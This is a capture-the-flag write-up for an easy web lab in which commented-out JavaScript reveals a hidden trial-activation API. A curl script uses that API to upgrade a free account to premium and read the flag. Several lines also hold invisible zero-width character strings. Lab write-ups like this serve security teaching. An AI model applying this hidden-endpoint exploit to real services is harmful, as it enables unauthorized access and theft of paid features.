Lab 300 — PlanForge — Broken Authentication via Hidden Trial Activation

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: commented_endpoint_discovery, hidden_api_exploitation, javascript_source_analysis, subscription_tier_bypass

Summary

Task: Project planning SaaS with free/premium tiers, flag accessible only to premium users. Solution: Analyzed JavaScript source to find commented-out trial activation endpoint, called hidden API to upgrade to premium, accessed analytics page containing the flag.

Lab 300 — PlanForge — Broken Authentication via Hidden Trial Activation — Hackadvisor

Description

PlanForge is a project planning SaaS platform by ForgeWorks Inc. It offers free and premium tiers. Free users can create basic projects and tasks, but advanced features like analytics, priority support, and team management are reserved for premium subscribers.

Your goal is to find the flag, which is only accessible to premium users. Explore the application thoroughly — sometimes features that are hidden from the UI are still accessible if you know where to look.

Credentials: user@test.com / password123 Hint: Not all API endpoints are visible in the UI. Examine the JavaScript source code loaded by the application for clues about available endpoints. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A project planning platform with free and premium subscription tiers. The flag is hidden in a premium-only feature. Hidden API endpoints in commented JavaScript code allow free users to activate a premium trial.

Analysis

1. Initial Reconnaissance:

   • Fetched the main page and identified Express.js backend
   • Found /js/app.js script loaded by the application
   • The HTML contained a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} as a honeypot for automated scanners

2. JavaScript Source Code Analysis:

   • Examined /js/app.js and discovered commented-out API endpoints:

    javascript read-only • copy allowed Copy
   var PlanForgeAPI = {
     endpoints: {
       projects: '/api/projects',
       tasks: '/api/tasks',
       accountStatus: '/api/account/status',
       // activateTrial: '/api/account/activate-trial',
       // upgradeAccount: '/api/account/upgrade',
     },

   • The activateTrial endpoint was commented out but likely still functional on the backend ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Vulnerability Identification:

   • The application hides premium upgrade functionality from the UI
   • However, the backend API endpoint /api/account/activate-trial remains active
   • No authorization check prevents free users from activating a premium trial
   • This is OWASP A01:2021 - Broken Access Control

Solution

 bash read-only • copy allowed Copy
#!/bin/bash
# Exploit for PlanForge Hidden Trial Activation

BASE="https://df8df2d9-900c-4eb2-a988-f66433acba11.labs.hackadvisor.io"

# Step 1: Login with provided credentials
echo "[*] Logging in..."
curl -s -c cookies.txt -X POST "$BASE/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"user@test.com","password":"password123"}'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 2: Call the hidden trial activation endpoint
echo "[*] Activating premium trial via hidden endpoint..."
curl -s -b cookies.txt -X POST "$BASE/api/account/activate-trial" \
  -H "Content-Type: application/json"
# Response: {"success":true,"message":"Premium trial activated successfully.","plan":"premium","duration":"14 days"}

# Step 3: Access premium-only analytics page
echo "[*] Accessing premium analytics..."
curl -s -b cookies.txt "$BASE/analytics"
# Response contains the flag in "Advanced Insights Key" card

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After activating the trial, the account was upgraded to premium status. Navigating to /analytics (a premium-only page) revealed the flag in the "Advanced Insights Key" card. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍